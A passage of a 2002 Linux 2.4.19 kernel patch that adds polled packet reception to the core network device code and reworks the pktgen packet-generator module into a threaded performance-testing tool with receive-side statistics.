!test_and_set_bit(__LINK_STATE_RX_SCHED, &dev->state); +} + +/* Add interface to tail of rx poll list. This assumes that _prep has + * already been called and returned 1. + */ + +static inline void __netif_rx_schedule(struct net_device *dev) +{ + unsigned long flags; + int cpu = smp_processor_id(); + + local_irq_save(flags); + dev_hold(dev); + list_add_tail(&dev->poll_list, &softnet_data[cpu].poll_list); + if (dev->quota < 0) + dev->quota += dev->weight; + else + dev->quota = dev->weight; + __cpu_raise_softirq(cpu, NET_RX_SOFTIRQ); + local_irq_restore(flags); +} + +/* Try to reschedule poll. Called by irq handler. */ + +static inline void netif_rx_schedule(struct net_device *dev) +{ + if (netif_rx_schedule_prep(dev)) + __netif_rx_schedule(dev); +} + +/* Try to reschedule poll. Called by dev->poll() after netif_rx_complete(). + * Do not inline this? + */ +static inline int netif_rx_reschedule(struct net_device *dev, int undo) +{ + if (netif_rx_schedule_prep(dev)) { + unsigned long flags; + int cpu = smp_processor_id(); + + dev->quota += undo; + + local_irq_save(flags); + list_add_tail(&dev->poll_list, &softnet_data[cpu].poll_list); + __cpu_raise_softirq(cpu, NET_RX_SOFTIRQ); + local_irq_restore(flags); + return 1; + } + return 0; +} + +/* Remove interface from poll list: it must be in the poll list + * on current cpu. This primitive is called by dev->poll(), when + * it completes the work. The device cannot be out of poll list at this + * moment, it is BUG(). + */ +static inline void netif_rx_complete(struct net_device *dev) +{ + unsigned long flags; + + local_irq_save(flags); + if (!test_bit(__LINK_STATE_RX_SCHED, &dev->state)) BUG(); + list_del(&dev->poll_list); + clear_bit(__LINK_STATE_RX_SCHED, &dev->state); + local_irq_restore(flags); +} + /* These functions live elsewhere (drivers/net/net_init.c, but related) */ extern void ether_setup(struct net_device *dev); @@ -723,6 +811,7 @@ extern int netdev_register_fc(struct net_device *dev, void (*stimul)(struct net_device *dev)); extern void netdev_unregister_fc(int bit); extern int netdev_max_backlog; +extern int weight_p; extern unsigned long netdev_fc_xoff; extern atomic_t netdev_dropping; extern int netdev_set_master(struct net_device *dev, struct net_device *master); --- linux-2.4.19/net/core/dev.c Fri Aug 2 17:39:46 2002 +++ linux-2.4.19.dev/net/core/dev.c Sun Sep 15 21:34:11 2002 @@ -1,4 +1,4 @@ -/* +/* -*-linux-c-*- * NET3 Protocol independent device support routines. * * This program is free software; you can redistribute it and/or @@ -109,6 +109,11 @@ #endif +#if defined(CONFIG_NET_PKTGEN) || defined(CONFIG_NET_PKTGEN_MODULE) +#include "pktgen.h" +#endif + + /* This define, if set, will randomly drop a packet when congestion * is more than moderate. It helps fairness in the multi-interface * case when one of them is a hog, but it kills performance for the @@ -798,6 +803,19 @@ clear_bit(__LINK_STATE_START, &dev->state); + /* Synchronize to scheduled poll. We cannot touch poll list, + * it can be even on different cpu. So just clear netif_running(), + * and wait when poll really will happen. Actually, the best place + * for this is inside dev->stop() after device stopped its irq + * engine, but this requires more changes in devices. */ + + smp_mb__after_clear_bit(); /* Commit netif_running(). */ + while (test_bit(__LINK_STATE_RX_SCHED, &dev->state)) { + /* No hurry. */ + current->state = TASK_INTERRUPTIBLE; + schedule_timeout(1); + } + /* * Call the device specific close. This cannot fail. * Only if device is UP @@ -1072,6 +1090,7 @@ =======================================================================*/ int netdev_max_backlog = 300; +int weight_p = 64; /* old backlog weight */ /* These numbers are selected based on intuition and some * experimentatiom, if you have more scientific way of doing this * please go ahead and fix things. @@ -1237,13 +1256,11 @@ enqueue: dev_hold(skb->dev); __skb_queue_tail(&queue->input_pkt_queue,skb); - /* Runs from irqs or BH's, no need to wake BH */ - cpu_raise_softirq(this_cpu, NET_RX_SOFTIRQ); local_irq_restore(flags); #ifndef OFFLINE_SAMPLE get_sample_stats(this_cpu); #endif - return softnet_data[this_cpu].cng_level; + return queue->cng_level; } if (queue->throttle) { @@ -1253,6 +1270,8 @@ netdev_wakeup(); #endif } + + netif_rx_schedule(&queue->blog_dev); goto enqueue; } @@ -1308,19 +1327,12 @@ return ret; } -/* Reparent skb to master device. This function is called - * only from net_rx_action under BR_NETPROTO_LOCK. It is misuse - * of BR_NETPROTO_LOCK, but it is OK for now. - */ static __inline__ void skb_bond(struct sk_buff *skb) { struct net_device *dev = skb->dev; - - if (dev->master) { - dev_hold(dev->master); + + if (dev->master) skb->dev = dev->master; - dev_put(dev); - } } static void net_tx_action(struct softirq_action *h) @@ -1384,6 +1396,19 @@ br_write_unlock_bh(BR_NETPROTO_LOCK); } +#if defined(CONFIG_NET_PKTGEN) || defined(CONFIG_NET_PKTGEN_MODULE) +#warning "Compiling dev.c for pktgen."; + +int (*handle_pktgen_hook)(struct sk_buff *skb) = NULL; + +static __inline__ int handle_pktgen_rcv(struct sk_buff* skb) { + if (handle_pktgen_hook) { + return handle_pktgen_hook(skb); + } + return -1; +} +#endif + #if defined(CONFIG_BRIDGE) || defined(CONFIG_BRIDGE_MODULE) void (*br_handle_frame_hook)(struct sk_buff *skb) = NULL; #endif @@ -1408,129 +1433,159 @@ #ifdef CONFIG_NET_DIVERT -static inline void handle_diverter(struct sk_buff *skb) +static inline int handle_diverter(struct sk_buff *skb) { /* if diversion is supported on device, then divert */ if (skb->dev->divert && skb->dev->divert->divert) divert_frame(skb); + return 0; } #endif /* CONFIG_NET_DIVERT */ - -static void net_rx_action(struct softirq_action *h) +int netif_receive_skb(struct sk_buff *skb) { - int this_cpu = smp_processor_id(); - struct softnet_data *queue = &softnet_data[this_cpu]; - unsigned long start_time = jiffies; - int bugdet = netdev_max_backlog; - - br_read_lock(BR_NETPROTO_LOCK); - - for (;;) { - struct sk_buff *skb; - struct net_device *rx_dev; - - local_irq_disable(); - skb = __skb_dequeue(&queue->input_pkt_queue); - local_irq_enable(); + struct packet_type *ptype, *pt_prev; + int ret = NET_RX_DROP; + unsigned short type = skb->protocol; - if (skb == NULL) - break; + if (skb->stamp.tv_sec == 0) + do_gettimeofday(&skb->stamp); - skb_bond(skb); + skb_bond(skb); - rx_dev = skb->dev; + netdev_rx_stat[smp_processor_id()].total++; #ifdef CONFIG_NET_FASTROUTE - if (skb->pkt_type == PACKET_FASTROUTE) { - netdev_rx_stat[this_cpu].fastroute_deferred_out++; - dev_queue_xmit(skb); - dev_put(rx_dev); - continue; - } + if (skb->pkt_type == PACKET_FASTROUTE) { + netdev_rx_stat[smp_processor_id()].fastroute_deferred_out++; + return dev_queue_xmit(skb); + } #endif - skb->h.raw = skb->nh.raw = skb->data; - { - struct packet_type *ptype, *pt_prev; - unsigned short type = skb->protocol; - pt_prev = NULL; - for (ptype = ptype_all; ptype; ptype = ptype->next) { - if (!ptype->dev || ptype->dev == skb->dev) { - if (pt_prev) { - if (!pt_prev->data) { - deliver_to_old_ones(pt_prev, skb, 0); - } else { - atomic_inc(&skb->users); - pt_prev->func(skb, - skb->dev, - pt_prev); - } - } - pt_prev = ptype; + skb->h.raw = skb->nh.raw = skb->data; + + pt_prev = NULL; + for (ptype = ptype_all; ptype; ptype = ptype->next) { + if (!ptype->dev || ptype->dev == skb->dev) { + if (pt_prev) { + if (!pt_prev->data) { + ret = deliver_to_old_ones(pt_prev, skb, 0); + } else { + atomic_inc(&skb->users); + ret = pt_prev->func(skb, skb->dev, pt_prev); } } + pt_prev = ptype; + } + } + +#if defined(CONFIG_NET_PKTGEN) || defined(CONFIG_NET_PKTGEN_MODULE) + if ((skb->dev->priv_flags & IFF_PKTGEN_RCV) && + (handle_pktgen_rcv(skb) >= 0)) { + /* Pktgen may consume the packet, no need to send + * to further protocols. + */ + return 0; + } +#endif + #ifdef CONFIG_NET_DIVERT - if (skb->dev->divert && skb->dev->divert->divert) - handle_diverter(skb); + if (skb->dev->divert && skb->dev->divert->divert) + ret = handle_diverter(skb); #endif /* CONFIG_NET_DIVERT */ - + #if defined(CONFIG_BRIDGE) || defined(CONFIG_BRIDGE_MODULE) - if (skb->dev->br_port != NULL && - br_handle_frame_hook != NULL) { - handle_bridge(skb, pt_prev); - dev_put(rx_dev); - continue; - } + if (skb->dev->br_port != NULL && + br_handle_frame_hook != NULL) { + return handle_bridge(skb, pt_prev); + } #endif - for (ptype=ptype_base[ntohs(type)&15];ptype;ptype=ptype->next) { - if (ptype->type == type && - (!ptype->dev || ptype->dev == skb->dev)) { - if (pt_prev) { - if (!pt_prev->data) - deliver_to_old_ones(pt_prev, skb, 0); - else { - atomic_inc(&skb->users); - pt_prev->func(skb, - skb->dev, - pt_prev); - } - } - pt_prev = ptype; + for (ptype=ptype_base[ntohs(type)&15];ptype;ptype=ptype->next) { + if (ptype->type == type && + (!ptype->dev || ptype->dev == skb->dev)) { + if (pt_prev) { + if (!pt_prev->data) { + ret = deliver_to_old_ones(pt_prev, skb, 0); + } else { + atomic_inc(&skb->users); + ret = pt_prev->func(skb, skb->dev, pt_prev); } } + pt_prev = ptype; + } + } - if (pt_prev) { - if (!pt_prev->data) - deliver_to_old_ones(pt_prev, skb, 1); - else - pt_prev->func(skb, skb->dev, pt_prev); - } else - kfree_skb(skb); + if (pt_prev) { + if (!pt_prev->data) { + ret = deliver_to_old_ones(pt_prev, skb, 1); + } else { + ret = pt_prev->func(skb, skb->dev, pt_prev); } + } else { + kfree_skb(skb); + /* Jamal, now you will not able to escape explaining + * me how you were going to use this. :-) + */ + ret = NET_RX_DROP; + } - dev_put(rx_dev); + return ret; +} - if (bugdet-- < 0 || jiffies - start_time > 1) - goto softnet_break; +static int process_backlog(struct net_device *blog_dev, int *budget) +{ + int work = 0; + int quota = min(blog_dev->quota, *budget); + int this_cpu = smp_processor_id(); + struct softnet_data *queue = &softnet_data[this_cpu]; + unsigned long start_time = jiffies; + + for (;;) { + struct sk_buff *skb; + struct net_device *dev; + + local_irq_disable(); + skb = __skb_dequeue(&queue->input_pkt_queue); + if (skb == NULL) + goto job_done; + local_irq_enable(); + + dev = skb->dev; + + netif_receive_skb(skb); + + dev_put(dev); + + work++; + + if (work >= quota || jiffies - start_time > 1) + break; #ifdef CONFIG_NET_HW_FLOWCONTROL - if (queue->throttle && queue->input_pkt_queue.qlen < no_cong_thresh ) { - if (atomic_dec_and_test(&netdev_dropping)) { - queue->throttle = 0; - netdev_wakeup(); - goto softnet_break; + if (queue->throttle && queue->input_pkt_queue.qlen < no_cong_thresh ) { + if (atomic_dec_and_test(&netdev_dropping)) { + queue->throttle = 0; + netdev_wakeup(); + break; + } } - } #endif - } - br_read_unlock(BR_NETPROTO_LOCK); - local_irq_disable(); + blog_dev->quota -= work; + *budget -= work; + return -1; + +job_done: + blog_dev->quota -= work; + *budget -= work; + + list_del(&blog_dev->poll_list); + clear_bit(__LINK_STATE_RX_SCHED, &blog_dev->state); + if (queue->throttle) { queue->throttle = 0; #ifdef CONFIG_NET_HW_FLOWCONTROL @@ -1539,21 +1594,53 @@ #endif } local_irq_enable(); + return 0; +} - NET_PROFILE_LEAVE(softnet_process); - return; +static void net_rx_action(struct softirq_action *h) +{ + int this_cpu = smp_processor_id(); + struct softnet_data *queue = &softnet_data[this_cpu]; + unsigned long start_time = jiffies; + int budget = netdev_max_backlog; -softnet_break: + br_read_lock(BR_NETPROTO_LOCK); + local_irq_disable(); + + while (!list_empty(&queue->poll_list)) { + struct net_device *dev; + + if (budget <= 0 || jiffies - start_time > 1) + goto softnet_break; + + local_irq_enable(); + + dev = list_entry(queue->poll_list.next, struct net_device, poll_list); + + if (dev->quota <= 0 || dev->poll(dev, &budget)) { + local_irq_disable(); + list_del(&dev->poll_list); + list_add_tail(&dev->poll_list, &queue->poll_list); + if (dev->quota < 0) + dev->quota += dev->weight; + else + dev->quota = dev->weight; + } else { + dev_put(dev); + local_irq_disable(); + } + } + + local_irq_enable(); br_read_unlock(BR_NETPROTO_LOCK); + return; - local_irq_disable(); +softnet_break: netdev_rx_stat[this_cpu].time_squeeze++; - /* This already runs in BH context, no need to wake up BH's */ - cpu_raise_softirq(this_cpu, NET_RX_SOFTIRQ); - local_irq_enable(); + __cpu_raise_softirq(this_cpu, NET_RX_SOFTIRQ); - NET_PROFILE_LEAVE(softnet_process); - return; + local_irq_enable(); + br_read_unlock(BR_NETPROTO_LOCK); } static gifconf_func_t * gifconf_list [NPROTO]; @@ -2094,6 +2181,24 @@ notifier_call_chain(&netdev_chain, NETDEV_CHANGENAME, dev); return 0; + case SIOCSACCEPTLOCALADDRS: + if (ifr->ifr_flags) { + dev->priv_flags |= IFF_ACCEPT_LOCAL_ADDRS; + } + else { + dev->priv_flags &= ~IFF_ACCEPT_LOCAL_ADDRS; + } + return 0; + + case SIOCGACCEPTLOCALADDRS: + if (dev->priv_flags & IFF_ACCEPT_LOCAL_ADDRS) { + ifr->ifr_flags = 1; + } + else { + ifr->ifr_flags = 0; + } + return 0; + /* * Unknown or private ioctl */ @@ -2190,6 +2295,7 @@ case SIOCGIFMAP: case SIOCGIFINDEX: case SIOCGIFTXQLEN: + case SIOCGACCEPTLOCALADDRS: dev_load(ifr.ifr_name); read_lock(&dev_base_lock); ret = dev_ifsioc(&ifr, cmd); @@ -2253,6 +2359,7 @@ case SIOCBONDSLAVEINFOQUERY: case SIOCBONDINFOQUERY: case SIOCBONDCHANGEACTIVE: + case SIOCSACCEPTLOCALADDRS: if (!capable(CAP_NET_ADMIN)) return -EPERM; dev_load(ifr.ifr_name); @@ -2607,6 +2714,7 @@ extern void net_device_init(void); extern void ip_auto_config(void); +struct proc_dir_entry *proc_net_drivers; #ifdef CONFIG_NET_DIVERT extern void dv_init(void); #endif /* CONFIG_NET_DIVERT */ @@ -2624,6 +2732,7 @@ if (!dev_boot_phase) return 0; + #ifdef CONFIG_NET_DIVERT dv_init(); #endif /* CONFIG_NET_DIVERT */ @@ -2641,8 +2750,13 @@ queue->cng_level = 0; queue->avg_blog = 10; /* arbitrary non-zero */ queue->completion_queue = NULL; + INIT_LIST_HEAD(&queue->poll_list); + set_bit(__LINK_STATE_START, &queue->blog_dev.state); + queue->blog_dev.weight = weight_p; + queue->blog_dev.poll = process_backlog; + atomic_set(&queue->blog_dev.refcnt, 1); } - + #ifdef CONFIG_NET_PROFILE net_profile_init(); NET_PROFILE_REGISTER(dev_queue_xmit); @@ -2725,6 +2839,7 @@ #ifdef CONFIG_PROC_FS proc_net_create("dev", 0, dev_get_info); create_proc_read_entry("net/softnet_stat", 0, 0, dev_proc_stats, NULL); + proc_net_drivers = proc_mkdir("net/drivers", 0); #ifdef WIRELESS_EXT /* Available in net/core/wireless.c */ proc_net_create("wireless", 0, dev_get_wireless_info); @@ -2742,7 +2857,6 @@ #ifdef CONFIG_NET_SCHED pktsched_init(); #endif - /* * Initialise network devices */ --- linux-2.4.19/net/core/pktgen.c Fri Aug 2 17:39:46 2002 +++ linux-2.4.19.dev/net/core/pktgen.c Mon Sep 16 23:53:41 2002 @@ -1,8 +1,8 @@ -/* $Id: pg_2.4.19.patch,v 1.5 2002/09/17 07:01:55 greear Exp $ - * pktgen.c: Packet Generator for performance evaluation. +/* -*-linux-c-*- * * Copyright 2001, 2002 by Robert Olsson * Uppsala University, Sweden + * 2002 Ben Greear * * A tool for loading the network with preconfigurated packets. * The tool is implemented as a linux module. Parameters are output @@ -19,6 +19,33 @@ * Integrated. 020301 --DaveM * Added multiskb option 020301 --DaveM * Scaling of results. 020417--sigurdur@linpro.no + * Significant re-work of the module: + * * Convert to threaded model to more efficiently be able to transmit + * and receive on multiple interfaces at once. + * * Converted many counters to __u64 to allow longer runs. + * * Allow configuration of ranges, like min/max IP address, MACs, + * and UDP-ports, for both source and destination, and can + * set to use a random distribution or sequentially walk the range. + * * Can now change most values after starting. + * * Place 12-byte packet in UDP payload with magic number, + * sequence number, and timestamp. + * * Add receiver code that detects dropped pkts, re-ordered pkts, and + * latencies (with micro-second) precision. + * * Add IOCTL interface to easily get counters & configuration. + * --Ben Greear + * + * Renamed multiskb to clone_skb and cleaned up sending core for two distinct + * skb modes. A clone_skb=0 mode for Ben "ranges" work and a clone_skb != 0 + * as a "fastpath" with a configurable number of clones after alloc's. + * clone_skb=0 means all packets are allocated this also means ranges time + * stamps etc can be used. clone_skb=100 means 1 malloc is followed by 100 + * clones. + * + * Also moved to /proc/net/pktgen/ + * --ro + * + * Sept 10: Fixed threading/locking. Lots of bone-headed and more clever + * mistakes. Also merged in DaveM's patch in the -pre6 patch. * * See Documentation/networking/pktgen.txt for how to use this. */ @@ -41,6 +68,7 @@ #include #include #include +#include #include #include @@ -52,142 +80,822 @@ #include #include #include +#include #include -#define cycles() ((u32)get_cycles()) +#include /* for lock kernel */ +#include /* do_div */ + +#include "pktgen.h" + static char version[] __initdata = - "pktgen.c: v1.1 020418: Packet Generator for packet performance testing.\n"; + "pktgen.c: v1.6: Packet Generator for packet performance testing.\n"; + +/* Used to help with determining the pkts on receive */ + +#define PKTGEN_MAGIC 0xbe9be955 + +/* #define PG_DEBUG(a) a */ +#define PG_DEBUG(a) /* a */ + +/* cycles per micro-second */ +static u32 pg_cycles_per_ns; +static u32 pg_cycles_per_us; +static u32 pg_cycles_per_ms; + +/* Module parameters, defaults. */ +static int pg_count_d = 0; /* run forever by default */ +static int pg_ipg_d = 0; +static int pg_multiskb_d = 0; +static int pg_thread_count = 1; /* Initial threads to create */ +static int debug = 0; -/* Parameters */ -static char pg_outdev[32], pg_dst[32]; -static int pkt_size = ETH_ZLEN; -static int nfrags = 0; -static __u32 pg_count = 100000; /* Default No packets to send */ -static __u32 pg_ipg = 0; /* Default Interpacket gap in nsec */ -static int pg_multiskb = 0; /* Use multiple SKBs during packet gen. */ - -static int debug; -static int forced_stop; -static int pg_cpu_speed; -static int pg_busy; - -static __u8 hh[14] = { - - /* Overrun by /proc config */ - - 0x00, 0x80, 0xC8, 0x79, 0xB3, 0xCB, - - /* We fill in SRC address later */ - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x08, 0x00 + + +/* List of all running threads */ +static struct pktgen_thread_info* pktgen_threads = NULL; +spinlock_t _pg_threadlist_lock = SPIN_LOCK_UNLOCKED; + +/* Holds interfaces for all threads */ +#define PG_INFO_HASH_MAX 32 +static struct pktgen_interface_info* pg_info_hash[PG_INFO_HASH_MAX]; +spinlock_t _pg_hash_lock = SPIN_LOCK_UNLOCKED; + +#define PG_PROC_DIR "pktgen" +static struct proc_dir_entry *pg_proc_dir = NULL; + +char module_fname[128]; +struct proc_dir_entry *module_proc_ent = NULL; + + +static void init_pktgen_kthread(struct pktgen_thread_info *kthread, char *name); +static int pg_rem_interface_info(struct pktgen_thread_info* pg_thread, + struct pktgen_interface_info* i); +static int pg_add_interface_info(struct pktgen_thread_info* pg_thread, + const char* ifname); +static void exit_pktgen_kthread(struct pktgen_thread_info *kthread); +static void stop_pktgen_kthread(struct pktgen_thread_info *kthread); +static struct pktgen_thread_info* pg_find_thread(const char* name); +static int pg_add_thread_info(const char* name); +static struct pktgen_interface_info* pg_find_interface(struct pktgen_thread_info* pg_thread, + const char* ifname); +static int pktgen_device_event(struct notifier_block *, unsigned long, void *); + + +struct notifier_block pktgen_notifier_block = { + notifier_call: pktgen_device_event, }; -static unsigned char *pg_dstmac = hh; -static char pg_result[512]; +/* This code works around the fact that do_div cannot handle two 64-bit + numbers, and regular 64-bit division doesn't work on x86 kernels. + --Ben +*/ -static struct net_device *pg_setup_inject(u32 *saddrp) -{ - struct net_device *odev; - int p1, p2; - u32 saddr; +#define PG_DIV 0 +#define PG_REM 1 - rtnl_lock(); - odev = __dev_get_by_name(pg_outdev); - if (!odev) { - sprintf(pg_result, "No such netdevice: \"%s\"", pg_outdev); - goto out_unlock; - } +/* This was emailed to LMKL by: Chris Caputo + * Function copied/adapted/optimized from: + * + * nemesis.sourceforge.net/browse/lib/static/intmath/ix86/intmath.c.html + * + * Copyright 1994, University of Cambridge Computer Laboratory + * All Rights Reserved. + * + * TODO: When running on a 64-bit CPU platform, this should no longer be + * TODO: necessary. + */ +inline static s64 divremdi3(s64 x, s64 y, int type) { + u64 a = (x < 0) ? -x : x; + u64 b = (y < 0) ? -y : y; + u64 res = 0, d = 1; + + if (b > 0) { + while (b < a) { + b <<= 1; + d <<= 1; + } + } + + do { + if ( a >= b ) { + a -= b; + res += d; + } + b >>= 1; + d >>= 1; + } + while (d); + + if (PG_DIV == type) { + return (((x ^ y) & (1ll<<63)) == 0) ? res : -(s64)res; + } + else { + return ((x & (1ll<<63)) == 0) ? a : -(s64)a; + } +}/* divremdi3 */ + +/* End of hacks to deal with 64-bit math on x86 */ - if (odev->type != ARPHRD_ETHER) { - sprintf(pg_result, "Not ethernet device: \"%s\"", pg_outdev); - goto out_unlock; - } - if (!netif_running(odev)) { - sprintf(pg_result, "Device is down: \"%s\"", pg_outdev); - goto out_unlock; - } - for (p1 = 6, p2 = 0; p1 < odev->addr_len + 6; p1++) - hh[p1] = odev->dev_addr[p2++]; +inline static void pg_lock_thread_list(char* msg) { + if (debug > 1) { + printk("before pg_lock_thread_list, msg: %s\n", msg); + } + spin_lock(&_pg_threadlist_lock); + if (debug > 1) { + printk("after pg_lock_thread_list, msg: %s\n", msg); + } +} - saddr = 0; - if (odev->ip_ptr) { - struct in_device *in_dev = odev->ip_ptr; +inline static void pg_unlock_thread_list(char* msg) { + if (debug > 1) { + printk("before pg_unlock_thread_list, msg: %s\n", msg); + } + spin_unlock(&_pg_threadlist_lock); + if (debug > 1) { + printk("after pg_unlock_thread_list, msg: %s\n", msg); + } +} - if (in_dev->ifa_list) - saddr = in_dev->ifa_list->ifa_address; - } - atomic_inc(&odev->refcnt); - rtnl_unlock(); +inline static void pg_lock_hash(char* msg) { + if (debug > 1) { + printk("before pg_lock_hash, msg: %s\n", msg); + } + spin_lock(&_pg_hash_lock); + if (debug > 1) { + printk("before pg_lock_hash, msg: %s\n", msg); + } +} - *saddrp = saddr; - return odev; +inline static void pg_unlock_hash(char* msg) { + if (debug > 1) { + printk("before pg_unlock_hash, msg: %s\n", msg); + } + spin_unlock(&_pg_hash_lock); + if (debug > 1) { + printk("after pg_unlock_hash, msg: %s\n", msg); + } +} -out_unlock: - rtnl_unlock(); - return NULL; +inline static void pg_lock(struct pktgen_thread_info* pg_thread, char* msg) { + if (debug > 1) { + printk("before pg_lock thread, msg: %s\n", msg); + } + spin_lock(&(pg_thread->pg_threadlock)); + if (debug > 1) { + printk("after pg_lock thread, msg: %s\n", msg); + } } -static u32 idle_acc_lo, idle_acc_hi; +inline static void pg_unlock(struct pktgen_thread_info* pg_thread, char* msg) { + if (debug > 1) { + printk("before pg_unlock thread, thread: %p msg: %s\n", + pg_thread, msg); + } + spin_unlock(&(pg_thread->pg_threadlock)); + if (debug > 1) { + printk("after pg_unlock thread, thread: %p msg: %s\n", + pg_thread, msg); + } +} + +/** Convert to miliseconds */ +static inline __u64 tv_to_ms(const struct timeval* tv) { + __u64 ms = tv->tv_usec / 1000; + ms += (__u64)tv->tv_sec * (__u64)1000; + return ms; +} -static void nanospin(int pg_ipg) + +/** Convert to micro-seconds */ +static inline __u64 tv_to_us(const struct timeval* tv) { + __u64 us = tv->tv_usec; + us += (__u64)tv->tv_sec * (__u64)1000000; + return us; +} + + +static inline __u64 pg_div(__u64 n, __u32 base) { + __u64 tmp = n; + do_div(tmp, base); + /* printk("pg_div, n: %llu base: %d rv: %llu\n", + n, base, tmp); */ + return tmp; +} + +/* Fast, not horribly accurate, since the machine started. */ +static inline __u64 getRelativeCurMs(void) { + return pg_div(get_cycles(), pg_cycles_per_ms); +} + +/* Since the epoc. More precise over long periods of time than + * getRelativeCurMs + */ +static inline __u64 getCurMs(void) { + struct timeval tv; + do_gettimeofday(&tv); + return tv_to_ms(&tv); +} + +/* Since the epoc. More precise over long periods of time than + * getRelativeCurMs + */ +static inline __u64 getCurUs(void) { + struct timeval tv; + do_gettimeofday(&tv); + return tv_to_us(&tv); +} + +/* Since the machine booted. */ +static inline __u64 getRelativeCurUs(void) { + return pg_div(get_cycles(), pg_cycles_per_us); +} + +/* Since the machine booted. */ +static inline __u64 getRelativeCurNs(void) { + return pg_div(get_cycles(), pg_cycles_per_ns); +} + +static inline __u64 tv_diff(const struct timeval* a, const struct timeval* b) { + return tv_to_us(a) - tv_to_us(b); +} + + + +int pktgen_proc_ioctl(struct inode* inode, struct file* file, unsigned int cmd, + unsigned long arg) { + int err = 0; + struct pktgen_ioctl_info args; + struct pktgen_thread_info* targ = NULL; + + /* + if (!capable(CAP_NET_ADMIN)){ + return -EPERM; + } + */ + + if (copy_from_user(&args, (void*)arg, sizeof(args))) { + return -EFAULT; + } + + /* Null terminate the names */ + args.thread_name[31] = 0; + args.interface_name[31] = 0; + + /* printk("pktgen: thread_name: %s interface_name: %s\n", + * args.thread_name, args.interface_name); + */ + + switch (cmd) { + case GET_PKTGEN_INTERFACE_INFO: { + targ = pg_find_thread(args.thread_name); + if (targ) { + struct pktgen_interface_info* info; + info = pg_find_interface(targ, args.interface_name); + if (info) { + memcpy(&(args.info), info, sizeof(args.info)); + if (copy_to_user((void*)(arg), &args, sizeof(args))) { + printk("ERROR: pktgen: copy_to_user failed.\n"); + err = -EFAULT; + } + else { + err = 0; + } + } + else { + printk("ERROR: pktgen: Could not find interface -:%s:-\n", + args.interface_name); + err = -ENODEV; + } + } + else { + printk("ERROR: pktgen: Could not find thread -:%s:-.\n", + args.thread_name); + err = -ENODEV; + } + break; + } + default: + /* pass on to underlying device instead?? */ + printk(__FUNCTION__ ": Unknown pktgen IOCTL: %x \n", + cmd); + return -EINVAL; + } + + return err; +}/* pktgen_proc_ioctl */ + +static struct file_operations pktgen_fops = { + ioctl: pktgen_proc_ioctl, +}; + +static void remove_pg_info_from_hash(struct pktgen_interface_info* info) { + pg_lock_hash(__FUNCTION__); + { + int device_idx = info->odev ? info->odev->ifindex : 0; + int b = device_idx % PG_INFO_HASH_MAX; + struct pktgen_interface_info* p = pg_info_hash[b]; + struct pktgen_interface_info* prev = pg_info_hash[b]; + + PG_DEBUG(printk("remove_pg_info_from_hash, p: %p info: %p device_idx: %i\n", + p, info, device_idx)); + + if (p != NULL) { + + if (p == info) { + pg_info_hash[b] = p->next_hash; + p->next_hash = NULL; + } + else { + while (prev->next_hash) { + p = prev->next_hash; + if (p == info) { + prev->next_hash = p->next_hash; + p->next_hash = NULL; + break; + } + prev = p; + } + } + } + + if (info->odev) { + info->odev->priv_flags &= ~(IFF_PKTGEN_RCV); + } + } + pg_unlock_hash(__FUNCTION__); +}/* remove_pg_info_from_hash */ + + +static void add_pg_info_to_hash(struct pktgen_interface_info* info) { + /* First remove it, just in case it's already there. */ + remove_pg_info_from_hash(info); + + pg_lock_hash(__FUNCTION__); + { + int device_idx = info->odev ? info->odev->ifindex : 0; + int b = device_idx % PG_INFO_HASH_MAX; + + PG_DEBUG(printk("add_pg_info_from_hash, b: %i info: %p device_idx: %i\n", + b, info, device_idx)); + + info->next_hash = pg_info_hash[b]; + pg_info_hash[b] = info; + + + if (info->odev) { + info->odev->priv_flags |= (IFF_PKTGEN_RCV); + } + } + pg_unlock_hash(__FUNCTION__); +}/* add_pg_info_to_hash */ + + +/* Find the pktgen_interface_info for a device idx */ +struct pktgen_interface_info* find_pg_info(int device_idx) { + struct pktgen_interface_info* p = NULL; + if (debug > 1) { + printk("in find_pg_info...\n"); + } + pg_lock_hash(__FUNCTION__); + { + int b = device_idx % PG_INFO_HASH_MAX; + p = pg_info_hash[b]; + while (p) { + if (p->odev && (p->odev->ifindex == device_idx)) { + break; + } + p = p->next_hash; + } + } + pg_unlock_hash(__FUNCTION__); + return p; +} + + +/* Remove an interface from our hash, dissassociate pktgen_interface_info + * from interface + */ +static void check_remove_device(struct pktgen_interface_info* info) { + struct pktgen_interface_info* pi = NULL; + if (info->odev) { + pi = find_pg_info(info->odev->ifindex); + if (pi != info) { + printk("ERROR: pi != info\n"); + } + else { + /* Remove info from our hash */ + remove_pg_info_from_hash(info); + } + + rtnl_lock(); + info->odev->priv_flags &= ~(IFF_PKTGEN_RCV); + atomic_dec(&(info->odev->refcnt)); + info->odev = NULL; + rtnl_unlock(); + } +}/* check_remove_device */ + + +static int pg_remove_interface_from_all_threads(const char* dev_name) { + int cnt = 0; + pg_lock_thread_list(__FUNCTION__); + { + struct pktgen_thread_info* tmp = pktgen_threads; + struct pktgen_interface_info* info = NULL; + + while (tmp) { + info = pg_find_interface(tmp, dev_name); + if (info) { + pg_rem_interface_info(tmp, info); + cnt++; + } + tmp = tmp->next; + } + } + pg_unlock_thread_list(__FUNCTION__); + return cnt; +}/* pg_rem_interface_from_all_threads */ + + +static int pktgen_device_event(struct notifier_block *unused, unsigned long event, void *ptr) { + struct net_device *dev = (struct net_device *)(ptr); + + /* It is OK that we do not hold the group lock right now, + * as we run under the RTNL lock. + */ + + switch (event) { + case NETDEV_CHANGEADDR: + case NETDEV_GOING_DOWN: + case NETDEV_DOWN: + case NETDEV_UP: + /* Ignore for now */ + break; + + case NETDEV_UNREGISTER: + pg_remove_interface_from_all_threads(dev->name); + break; + }; + + return NOTIFY_DONE; +} + + +/* Associate pktgen_interface_info with a device. + */ +static struct net_device* pg_setup_interface(struct pktgen_interface_info* info) { + struct net_device *odev; + + check_remove_device(info); + + rtnl_lock(); + odev = __dev_get_by_name(info->ifname); + if (!odev) { + printk("No such netdevice: \"%s\"\n", info->ifname); + } + else if (odev->type != ARPHRD_ETHER) { + printk("Not an ethernet device: \"%s\"\n", info->ifname); + } + else if (!netif_running(odev)) { + printk("Device is down: \"%s\"\n", info->ifname); + } + else if (odev->priv_flags & IFF_PKTGEN_RCV) { + printk("ERROR: Device: \"%s\" is already assigned to a pktgen interface.\n", + info->ifname); + } + else { + atomic_inc(&odev->refcnt); + info->odev = odev; + info->odev->priv_flags |= (IFF_PKTGEN_RCV); + } + + rtnl_unlock(); + + if (info->odev) { + add_pg_info_to_hash(info); + } + + return info->odev; +} + +/* Read info from the interface and set up internal pktgen_interface_info + * structure to have the right 